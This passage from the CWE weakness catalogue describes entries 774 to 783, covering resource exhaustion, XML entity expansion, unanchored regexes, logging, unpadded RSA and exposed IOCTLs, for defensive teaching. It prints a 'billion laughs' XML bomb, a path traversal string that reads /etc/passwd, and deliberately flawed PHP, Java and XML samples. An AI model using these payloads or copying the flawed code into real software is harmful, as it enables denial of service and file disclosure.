This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID : 774 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1422

Alternate Terms

File Descriptor Exhaustion :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1951

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP13		Unrestricted Consumption

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID : 775 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	772	Missing Release of Resource after Effective Lifetime	1432

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types

of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID : 776 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	890
ChildOf	C	674	Uncontrolled Recursion	1314
CanFollow	V	827	Improper Control of Document Type Definition	1527

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	674	Uncontrolled Recursion	1314

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Alternate Terms

XEE : XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack :

XML Bomb : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.*	

Potential Mitigations

Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(attack)*

```
<?xml version="1.0"?>
```

```
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

Reference	Description
CVE-2008-3281	XEE in XML-parsing library. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3281*
CVE-2011-3288	XML bomb / XEE in enterprise communication product. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3288*
CVE-2011-1755	"Billion laughs" attack in XMPP server daemon. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1755*
CVE-2009-1955	XML bomb in web server module *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1955*
CVE-2003-1564	Parsing library allows XML bomb *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1564*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	1976

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	44		XML Entity Expansion

References

[REF-676]Amit Klein. "Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD". 2002 December 6. < http://www.securityfocus.com/archive/1/303509 >.

[REF-677]Rami Jaamour. "XML security: Preventing XML bombs". 2006 February 2. < http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&psrc=CLT_92# >.

[REF-678]Didier Stevens. "Dismantling an XML-Bomb". 2008 September 3. < http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/ >.

[REF-679]Robert Auger. "XML Entity Expansion". < http://projects.webappsec.org/XML-Entity-Expansion >.

[REF-680]Elliotte Rusty Harold. "Tip: Configure SAX parsers for secure processing". 2005 May 7. < http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html >.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < http://msdn.microsoft.com/en-us/magazine/ee335713.aspx >.

[REF-682]Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011 March 1. < http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html >.

CWE-777: Regular Expression without Anchors

Weakness ID : 777 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	625	Permissive Regular Expression	1237

Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Confidentiality Access Control	Bypass Protection Mechanism *An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.*	

Potential Mitigations

Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

Demonstrative Examples

Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

Example Language: PHP *(bad)*

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language: *(attack)*

```
../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

CWE-778: Insufficient Logging

Weakness ID : 778 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	B	223	Omission of Security-relevant Information	513

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities *If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.*	

Potential Mitigations

Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Demonstrative Examples

Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

Example Language: XML *(bad)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
        suppressAuditFailure="false"
        serviceAuthorizationAuditLevel="None"
        messageAuthenticationAuditLevel="None" />
      ...
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

Example Language: XML *(good)*

```
<system.serviceModel>
   <behaviors>
      <serviceBehaviors>
         <behavior name="NewBehavior">
            <serviceSecurityAudit auditLogLocation="Default"
            suppressAuditFailure="false"
            serviceAuthorizationAuditLevel="SuccessAndFailure"
            messageAuthenticationAuditLevel="SuccessAndFailure" />
         ...
</system.serviceModel>
```

Observed Examples

Reference	Description
CVE-2008-4315	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4315*
CVE-2008-1203	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1203*
CVE-2007-3730	default configuration for POP server does not log source IP or username for login attempts *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3730*
CVE-2007-1225	proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1225*
CVE-2003-1566	web server does not log requests for a non-standard request type *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1566*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	1979

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-779: Logging of Excessive Data

Weakness ID : 779 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an

attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	864

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) *Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.*	
Non-Repudiation	Hide Activities *Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.*	
Non-Repudiation	Hide Activities *If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.*	

Potential Mitigations

Phase: Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Observed Examples

Reference	Description
CVE-2007-0421	server records a large amount of data to the server log when it receives malformed headers *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0421*
CVE-2002-1154	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154*

CWE-780: Use of RSA Algorithm without OAEP

Weakness ID : 780 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.*	

Demonstrative Examples

Example 1:

The example below attempts to build an RSA cipher.

Example Language: Java *(bad)*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Example Language: Java *(good)*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

Notes

Maintenance

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

References

[REF-694]Ronald L. Rivest and Burt Kaliski. "RSA Problem". 2003 December 0. < http://people.csail.mit.edu/rivest/RivestKaliski-RSAProblem.pdf >.

[REF-695]"Optimal Asymmetric Encryption Padding". 2009 July 8. Wikipedia. < http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding >.

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID : 781 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1839
CanFollow	V	782	Exposed IOCTL with Insufficient Access Control	1451
CanPrecede	B	822	Untrusted Pointer Dereference	1515

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Operating_System : Windows NT *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Modify Memory Read Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.*	

Potential Mitigations

Phase: Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Phase: Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Phase: Architecture and Design

Phase: Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2006-2373	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2373*
CVE-2009-0686	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0686*
CVE-2009-0824	DVD software allows attackers to cause a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0824*
CVE-2008-5724	Personal firewall allows attackers to gain SYSTEM privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5724*
CVE-2007-5756	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756*

Notes

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

Research Gap

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

References

[REF-696]Ruben Santamarta. "Exploiting Common Flaws in Drivers". 2007 July 1. < http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1 >.

[REF-697]Yuriy Bulygin. "Remote and Local Exploitation of Network Drivers". 2007 August 1. < https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf >.

[REF-698]Anibal Sacco. "Windows driver vulnerabilities: the METHOD_NEITHER odyssey". 2008 October. < http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf >.

[REF-699]Microsoft. "Buffer Descriptions for I/O Control Codes". < http://msdn.microsoft.com/en-us/library/ms795857.aspx >.

[REF-700]Microsoft. "Using Neither Buffered Nor Direct I/O". < http://msdn.microsoft.com/en-us/library/cc264614.aspx >.

[REF-701]Microsoft. "Securing Device Objects". < http://msdn.microsoft.com/en-us/library/ms794722.aspx >.

[REF-702]Piotr Bania. "Exploiting Windows Device Drivers". < http://www.piotrbania.com/all/articles/ewdd.pdf >.

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID : 782 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	749	Exposed Dangerous Method or Function	1377
CanPrecede	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1449

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Operating_System : Unix *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	*Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.*	

Potential Mitigations

Phase: Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2009-2208	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2208*
CVE-2008-3831	Device driver does not restrict ioctl calls to its master. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3831*
CVE-2008-3525	ioctl does not check for a required capability before processing certain requests. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3525*
CVE-2008-0322	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0322*
CVE-2007-4277	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4277*
CVE-2007-1400	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1400*
CVE-2006-4926	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4926*
CVE-1999-0728	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0728*

Notes

Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

References

[REF-701]Microsoft. "Securing Device Objects". < http://msdn.microsoft.com/en-us/library/ms794722.aspx >.

CWE-783: Operator Precedence Logic Error

Weakness ID : 783 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : C *(Prevalence = Rarely)*

Language : C++ *(Prevalence = Rarely)*

Language : Language-Independent *(Prevalence = Rarely)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
